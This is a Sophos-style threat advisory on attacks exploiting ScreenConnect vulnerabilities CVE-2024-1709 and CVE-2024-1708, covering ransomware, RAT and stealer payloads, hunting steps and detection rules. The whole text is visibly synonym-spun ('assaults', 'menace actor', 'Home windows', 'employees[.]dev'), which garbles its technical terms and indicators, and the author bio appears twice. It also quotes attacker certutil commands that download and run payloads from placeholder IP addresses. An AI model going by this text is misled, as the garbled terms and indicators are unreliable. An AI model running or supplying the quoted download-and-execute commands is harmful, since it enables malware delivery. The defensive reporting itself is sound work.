Sophos X-Ops is monitoring a growing wave of vulnerability exploitation concentrating on unpatched ConnectWise ScreenConnect installations. This web page supplies recommendation and steerage for patrons, researchers, investigators and incident responders. This info relies on statement and evaluation of assaults by SophosLabs, Sophos Managed Detection and Response (MDR) and Sophos Incident Response (IR), by which the ScreenConnect consumer or server was concerned.
We are going to replace this web page as occasions and understanding develop, together with our menace and detection steerage.
17:45 UTC, 2024-03-01 Replace: Data on three new assaults trying to maneuver deeper right into a buyer community after exploiting a vulnerability in ScreenConnect server (“Additional makes an attempt,” beneath).
19:30 UTC, 2024-02-23 Replace: In collaboration with ConnectWise, now we have up to date the State of affairs Overview part, beneath, to make clear circumstances surrounding the incident and ongoing assaults.
State of affairs Overview
On February 19, 2024, ConnectWise launched a safety advisory for its distant monitoring and administration (RMM) software program. Their advisory highlighted two vulnerabilities that affect older variations of ScreenConnect and have been mitigated in model 23.9.8 and later.
ConnectWise states within the advisory these vulnerabilities are rated as “Crucial—Vulnerabilities that might enable the power to execute distant code or immediately affect confidential knowledge or vital methods”. The 2 vulnerabilities are:
- CVE-2024-1709 (CWE-288) — Authentication Bypass Utilizing Alternate Path or Channel
- Base CVSS rating of 10, indicating “Crucial”
- CVE-2024-1708 (CWE-22) — Improper Limitation of a Pathname to a Restricted Listing (“Path Traversal”)
- Base CVSS rating of 8.4, nonetheless thought of “Excessive Precedence”
The vulnerabilities includes authentication bypass and path traversal points inside the server software program itself, not the consumer software program that’s put in on the end-user units. Attackers have discovered that they will deploy malware to servers or to workstations with the consumer software program put in. Sophos has proof that assaults in opposition to each servers and consumer machines are at present underway. Patching the server is not going to take away any malware or webshells attackers handle to deploy previous to patching and any compromised environments have to be investigated.
Cloud-hosted implementations of ScreenConnect, together with screenconnect.com and hostedrmm.com, acquired mitigations inside hours of validation to deal with these vulnerabilities. Self-hosted (on-premise) cases stay in danger till they’re manually upgraded, and it’s our suggestion to patch to ScreenConnect model 23.9.8 instantly. The improve is obtainable on ScreenConnect’s obtain web page.
[update] If you’re not below upkeep, ConnectWise is permitting you to set up model 22.4 at no extra price, which is able to repair CVE-2024-1709, the vital vulnerability. Nevertheless, this must be handled as an interim step. ConnectWise recommends updating to the newest launch to get all the present safety patches and subsequently all companions ought to improve to 23.9.8 or larger utilizing the improve path outlined above.
On February 21, 2024, proof of idea (PoC) code was launched on GitHub that exploits these vulnerabilities and provides a brand new consumer to the compromised system. ConnectWise has additionally up to date their preliminary report to incorporate noticed, energetic exploitation within the wild of those vulnerabilities.
On February 22, 2024, Sophos X-Ops reported by way of our social media deal with that regardless of the current legislation enforcement exercise in opposition to the LockBit menace actor group we had noticed a number of assaults over the previous 24 hours that gave the impression to be carried out with LockBit ransomware, constructed utilizing a leaked malware builder device. It seems that our anti-malware detection appropriately recognized the payloads as ransomware generated by the leaked LockBit builder, however the ransom notes dropped by these payloads recognized one as “buhtiRansom,” and the opposite didn’t have a reputation in its ransom notice.
This text contains extra particulars and evaluation of the ScreenConnect assaults Sophos noticed up to now 48 hours.
Suggestions
- Verify whether or not you’ve an on-premises deployment of ScreenConnect Server
- When you’ve got an on-premises occasion in your atmosphere working a model previous to 23.9.8, take it offline instantly till you improve to the latest model; isolate or shut it down till it’s patched and investigated for indicators of exploitation.
- When you’ve got an on-premises model in your atmosphere that was up to date to model 23.9.8 or later previous to February 21, you aren’t in danger, although it could be prudent to examine the server to make sure no malicious payloads have been put in.
- If you happen to use the cloud-hosted model, you aren’t in danger and no additional actions are essential.
- In case your deployment of ScreenConnect Server is hosted by a third-party vendor, verify with them they’ve upgraded their occasion to 23.9.8 or later; in the event that they haven’t, suggest that they take it offline till the patches are utilized.
- Scan your atmosphere and buyer environments for cases of ScreenConnect that you could be not concentrate on, to keep away from the chance of these ScreenConnect being unpatched and exposing the atmosphere to a Provide Chain Assault.
- When you’ve got ScreenConnect shoppers and are uncertain of/unable to find out the patch standing of all servers which will hook up with it, you need to presume these servers are weak till you’ll be able to confirm in any other case.
- You’ll be able to shield ScreenConnect shoppers from weak servers by implementing Sophos Utility Management Coverage to dam ScreenConnect till the servers could be verified to be patched. Extra particulars on Utility Management could be discovered on our website.
- As soon as patching has been accomplished, carry out an intensive evaluate of the ScreenConnect set up in search of unknown accounts and irregular server exercise.
- Evaluation the customers.xml for indicators of recent accounts or modifications.
- Assume that any machines internet hosting a ScreenConnect server may have a number of implanted net shells (or different distant entry instruments not put in by your IT workforce) that have to be discovered and eliminated.
- Examine your property for newly added consumer IDs or accounts and take away or freeze entry to them till they’re recognized to be official.
- In an on-premises set up, examine the situation the place any ScreenConnect Extensions are positioned for webshells or different payloads (recordsdata with .ps1, .bat or .cmd file suffixes).
- Deploy endpoint safety to any server at present or previously used to run ScreenConnect.
- XGS clients will quickly have the ability to allow new IDS guidelines designed to detect malicious exercise associated to ScreenConnect exploits.
- If you know the way to make use of penetration-testing instruments just like the Metasploit Framework, there may be already a Metasploit module you should utilize to check whether or not your units are weak. There are a number of different proofs-of-concept within the wild, as nicely.
Assaults involving ScreenConnect
Because the information broke this week concerning the vulnerability in ScreenConnect, Sophos analysts have been carefully monitoring telemetry methods in search of any anomalous or malicious conduct by which the ScreenConnect consumer or server software program was both the foundation trigger or was a part of the assault chain in a roundabout way. The groups then sifted by way of this noisy log knowledge to isolate and doc particular malicious exercise.
Earlier than this vulnerability had grow to be broadly recognized, there had been a reasonable variety of each day telemetry entries by which menace actors tried to deploy malware or run a malicious command on a buyer machine working ScreenConnect. Nevertheless, since February 21, the each day quantity of telemetry occasions involving ScreenConnect has greater than doubled.
Many firms and managed service suppliers use ScreenConnect, and never all conduct we noticed got here as a direct results of the vulnerability being exploited, however Sophos believes a major quantity of the present wave of telemetry occasions have been captured as a direct results of the elevated menace actor consideration to ScreenConnect.
Risk actors have been leveraging the exploits in opposition to ScreenConnect to launch all kinds of assaults and ship a variety of various kinds of malware to focus on machines. What follows is a quick abstract of a few of the incidents we’re at present monitoring.
LockBit ransomware, constructed with a leaked malware compiler
At the least one menace actor is abusing ScreenConnect to deploy a ransomware executable. Sophos suspects it’s the identical individual or group; an similar payload (SHA-256 2da975fee507060baa1042fb45e8467579abf3f348f1fd37b86bb742db63438a) was found in additional than 30 totally different buyer networks, starting on February 22. This distribution sample is strongly indicative of the menace actor pushing the payload from a compromised server.
The executable in query was constructed utilizing the LockBit 3 ransomware builder device leaked in 2022, so this specific pattern could not have originated with the precise LockBit builders. Our detection for this era of LockBit (Troj/Ransom-GYT) was constructed particularly to detect samples generated by the leaked builder device earlier than they run. We’ve additionally seen a reminiscence detection rule (Mem/LockBit-B) stopping the execution of each the unique and the copycat builds of LockBit in some circumstances.
Nevertheless, the ransomware didn’t name itself LockBit.
The attackers deploying this ransomware executable have constantly used the filename of “enc.exe” or “upd.exe” within the following areas:
- <d>WindowsTempScreenConnect23.9.6.8787upd.exe
- <d>WindowsTempScreenConnect23.9.6.8787enc.exe
- <d>customers[username]tempenc.exe
The “buhtiRansom” LockBit variant was not the one ransomware we noticed within the wild.
We additionally noticed a distinct attacker try and drop one other payload (a50d9954c0a50e5804065a8165b18571048160200249766bfa2f75d03c8cb6d0) utilizing the certutil utility to obtain it from an online deal with, write it to the foundation of the C: drive with the filename svchost.exe, and execute it. On this case, the behavioral rule Lateral_1b blocked the file from being downloaded and the assault failed.
- <d>Program Information (x86)ScreenConnect Consumer (60ccb130004e2bbf)ScreenConnect.ClientService.exe -> certutil.exe -urlcache -f http://<ip-address>/svchost.exe c:svchost.exe
Whereas it didn’t deploy on the shopper atmosphere, after we ran it on a sandbox, it dropped a ransom notice that appears like this:
The malware additionally modified the desktop background to this:
So at the least this pattern self-identifies as a variant based mostly on the Lockbit builder code.
AsyncRAT assaults
SophosLabs, who handle our CryptoGuard and HitmanPro instruments, seen a burst of detections downstream of ScreenConnect. Digging in, we are able to see these assaults, by which a malicious course of is triggering our HollowProcess detection in opposition to PowerShell, intend to ship AsyncRAT as a payload.
Password stealers
Telemetry signifies attackers are additionally pushing the Vidar/Redline knowledge stealer malware (SHA-256 c94038781c56ab85d2f110db4f45b86ccf269e77a3ff4b9133b96745ff97d25f) through ScreenConnect. The HMPA CookieGuard and TTP classifications (T1555.003) set off on this sort of assault. The assault seems just like the ScreenConnect.WindowsClient.exe launches the malware from this location:
- <d>Customers<username>DocumentsConnectWiseControlTempUpdaterScreenConnect.exe
SimpleHelp distant entry consumer, adopted by ransomware
One menace actor abused ScreenConnect to push one other distant entry consumer to the goal machine. On this instance, the attacker used ScreenConnect.WindowsClient.exe to launch the SimpleHelp installer (named first.exe) from this location:
- <d>WindowsTempScreenConnect20.13.1905.7657Filesfirst.exe
5 hours later, on the identical machine, we noticed ransom notes seem on the system and recordsdata renamed with a distinct file extension. The ransomware had been put in utilizing the msiexec.exe utility. The method tree for this occasion appeared like this:
- providers.exe ->
- msiexec.exe ->
- <d>WindowsTEMPMW-5f3810bb-bac1-4cc4-a1a3-7e04046d7ea4filescrypt64ult.exe
A couple of minutes later, the attackers use ScreenConnect to run a command that downloads one other malware payload to this machine, utilizing the Home windows certutil utility, then runs it.
- ScreenConnect.ClientService.exe ->
- cmd.exe /c c:windowstempScreenConnect20.13.19057657<guid>run.cmd ->
- certutil -urlcache -f http://<ip>:8084/msappdata.msi c:mpyutd.msi
Rust infostealer
Attackers use the ScreenConnect consumer utility to run a batch script they’ve downloaded into the folder belonging to a different distant entry device. The batch script downloads a payload, written in Rust, from an AWS storage server. The payload, when it runs, injects itself into Explorer.exe then deletes itself from the filesystem.
Analysts haven’t studied the payload, however a number of different distributors classify it as malware referred to as Redcap, which is used to steal and exfiltrate info from servers.
Cobalt Strike payloads
On February 22, three unrelated firms (two in North America, one in Europe) have been hit with a remarkably related assault that delivered a Cobalt Strike beacon to a machine within the community with the ScreenConnect consumer put in. The telemetry indicated that in all three circumstances, the Cobalt Strike payload was caught and prevented from working by a behavioral rule referred to as AMSI/Cobalt-A.
The ScreenConnect consumer acquired a file with a .cmd extension within the non permanent listing the place it shops downloaded recordsdata, then executed it. The .cmd tried to launch PowerShell to make use of it to obtain the beacon, however was stopped by the endpoint rule. Subsequent evaluation revealed that the payload was retrieved from the identical C2 server in all three circumstances.
Xworm payload tried supply to dwelling consumer
One machine that was working the ScreenConnect consumer software program was attacked with malware referred to as Xworm. The exploit prompted the consumer to jot down a file into the %temp% listing after which triggered the consumer to run it. The file contained a one-line PowerShell command that downloaded a 531KB file from a public Pastebin-type server. The file was, itself, a script that contained a large knowledge blob and a small quantity of script code to remodel the info into a Home windows executable.
As soon as decoded, the malware makes use of quite a lot of persistence strategies and might unfold to different machines by copying itself to USB storage media. Additionally it is a full-featured RAT and provides an exclusion for itself to Home windows Defender. Nevertheless, the endpoint safety on the shopper’s machine prevented it from being contaminated. The pre-execution detections Troj/RAT-FJ and Troj/PSDrop-IU successfully neutralized the menace earlier than it may trigger hurt.
Additional makes an attempt
We’ve seen three extra incidents of attackers trying to maneuver deeper into buyer networks after exploiting a vulnerability in ScreenConnect server. In a single, the attacker tried to do reconnaissance on the ScreenConnect server, utilizing PowerShell to attempt to run getlocaluser (to acquire a listing of native consumer accounts on the server) and ipconfig (to get the native community interface info).
The actor behind the opposite incidents was way more persistent. In considered one of their makes an attempt, they first tried to disable Sophos endpoint safety. Then they tried to put in a Cloudflare Tunnel consumer for use as a backdoor, downloading it from Cloudflare’s GitHub web page.
Additionally they ran a lot of PowerShell instructions in an try to hold out reconnaissance and set up persistence on the compromised server:
- working pwd (to get the present listing);
- ipconfig;
- whoami (to get the account title related to the Display Join course of);
- tasklist (to view working processes on the server);
- get-localuser;
- get-netfirewallprofile (to view the energetic Home windows Firewall configuration);
- ping 1.1.1.1 (a examine to see if the server may attain Cloudflare’s DNS service)
The attacker additionally tried to make edits to the server’s Home windows Registry to allow Distant Desktop Protocol entry, and created a persistent process named “Home windows replace” that tried to obtain a payload from sc.ksfe.employees[.]dev. They usually deployed the Empire post-exploitation framework in an try and additional set up persistence and procure credentials. The identical Empire payload, loaded from the identical distant server, was utilized in a 3rd tried assault we detected. All of this exercise was blocked by Sophos endpoint safety.
Protected Mode RAT deploys its personal ScreenConnect for persistence
In an assault in opposition to the ScreenConnect server cases, a menace actor is pushing an executable named patch3.exe to weak servers. The patch3 executable is a RAT with some attention-grabbing behaviors; It apparently provides entries into the registry so that it’s going to begin up even when the pc is booted into Protected Mode. It additionally downloads an .msi installer.
MDR analysts wanting extra carefully into this pattern decided that the menace actor was putting in a brand new occasion of the ScreenConnect consumer on the contaminated gadget, then utilizing their (the attackers’) personal ScreenConnect consumer to speak to (and remotely handle) the goal’s ScreenConnect server. The contaminated gadget later launched varied PowerShell instructions. Irony isn’t useless.
Risk looking info
The simplicity of exploiting these vulnerabilities makes it crucial for organizations to evaluate their publicity and take decisive steps to mitigate dangers. The next factors provide a high-level information to research your atmosphere:
- Identification of ScreenConnect installations: Step one includes finding all cases of ScreenConnect inside your group’s community. Keep in mind, a few of these installations could be managed by exterior service suppliers, so thoroughness is vital. The server element is finally what wants patched, however realizing the scope of consumer installations will assist assess publicity
- Isolation and removing: Quickly isolate or uninstall the ScreenConnect Consumer software program from recognized units. This measure is vital till you’ll be able to verify that the server has been up to date with the required safety patches or till a complete evaluation is performed. If you happen to don’t handle the ScreenConnect Server in your atmosphere, uninstallation stands out as the quickest path to mitigate the chance
- Conduct detailed evaluation: On units with ScreenConnect consumer software program, carry out an in-depth investigation. Deal with:
- Creation of recent native customers: Verify for any unauthorized new consumer accounts which have been created.
- Suspicious consumer software program exercise: Monitor for uncommon instructions executed by the ScreenConnect consumer
- System and area reconnaissance actions: Search for instructions that point out scanning or probing of your methods.
- Disabling of safety controls: Search for any actions that try and deactivate safety measures, corresponding to anti-virus software program and native firewall insurance policies.
- Provoke Incident Response if wanted: In case your evaluation uncovers any suspicious actions, promptly activate your incident response plan. This step is essential to know the scope of the potential incident and to implement remediation methods
Sophos X-Ops Incident Response has constructed a collection of XDR queries for patrons to make use of for menace looking of their atmosphere. These queries embrace the next:
- Verify model of ScreenConnect Server – Identifies machines working ScreenConnect Server weak to Authentication Bypass (CVE-2024-1709 & CVE-2024-1708)
- Verify model of ScreenConnect Server.sql (datalake) – Identifies machines working ScreenConnect Server weak to Authentication Bypass (CVE-2024-1709 & CVE-2024-1708)
- ScreenConnect Relay IP – Determine the IP addresses that the ScreenConnect utility working on machines is connecting to. these IP addresses could be utilized in exterior instruments like Shodan.io and Censys.io to evaluate if the ScreenConnect server corresponding to those endpoints is weak to CVE-2024-1709 and CVE-2024-1708
- SetupWizard.aspx in IIS logs – Search for the trailing slash after SetupWizard.aspx within the IIS logs, which could be an indicator of doable exploitation of Screenconnect auth bypass
- Verify consumer.xml file for brand new customers created – Verify the Consumer.xml file discovered within the ScreenConnectApp_Data folder for doable indicators of exploitation within the ScreenConnect Server. The content material of the file will probably be up to date when an attacker executes the exploit and creates a brand new consumer
- Proof of non permanent Consumer File creation – Verify for non permanent consumer creation XML recordsdata on disk inside a time vary. This file could be an indicator for doable exploitation of CVE-2024-1709.
- Verify for .ASPX .ASHX recordsdata in App_Extensions folder – Detect potential exploitation of CVE-2024-1708 on a machine internet hosting a ScreenConnect server by in search of .ASPX and .ASHX recordsdata written within the ScreenConnectApp_Extensions folder
- Determine shells being spawned from ScreenConnect – Determine shells being spawned from ScreenConnect course of.
Detection and safety
The next detection guidelines have been beforehand applied to determine abuse of ScreenConnect and are nonetheless viable for figuring out post-exploitation exercise.
- WIN-EXE-PRC-SCREENCONNECT-COMMAND-EXECUTION-1
- WIN-EXE-PRC-SCREENCONNECT-REMOTE-FILE-EXECUTION-1
- WIN-EXE-PRC-SCREENCONNECT-RUNFILE-EXECUTION-1
We’ve got a number of protections inside InterceptX to dam post-exploitation exercise. We’ve additionally launched the next detection for publicly out there exploit scripts seen concentrating on CVE-2024-1709 (CWE-288) — Authentication Bypass Utilizing Alternate Path or Channel:
Protections for SFOS and EPIPS:
SID | Title |
2309339 | Connectwise Screenconnect Authentication Bypass Vulnerability |
2309343 | Connectwise Screenconnect Authentication Bypass Vulnerability |
2309344 | Connectwise Screenconnect Authentication Bypass Vulnerability |
Acknowledgments
Anthony Bradshaw, Paul Jaramillo, Jordon Olness, Benjamin Sollman and Dakota Mercer-Szady from MDR
Anand Ajjan, Fraser Howard, Rajesh Nataraj, Gabor Szappanos, and Ronny Tijink from SophosLabs
Peter Mackenzie, Elida Leite and Lee Kirkpatrick from Incident Response
Indicators of compromise relating to those assaults have been printed to the SophosLabs Github.
In regards to the authors
Sophos X-Ops Principal Researcher Andrew Brandt blends a 20-year journalism background with deep, retrospective evaluation of malware infections, ransomware, and cyberattacks because the editor of SophosLabs Uncut. His work with the Labs workforce helps Sophos shield its international clients, and alerts the world about notable felony conduct and exercise, whether or not it is regular or novel. Observe him at @[email protected] on Mastadon for up-to-the-minute information about all issues malicious.
Sophos X-Ops Principal Researcher Andrew Brandt blends a 20-year journalism background with deep, retrospective evaluation of malware infections, ransomware, and cyberattacks because the editor of SophosLabs Uncut. His work with the Labs workforce helps Sophos shield its international clients, and alerts the world about notable felony conduct and exercise, whether or not it is regular or novel. Observe him at @[email protected] on Mastadon for up-to-the-minute information about all issues malicious.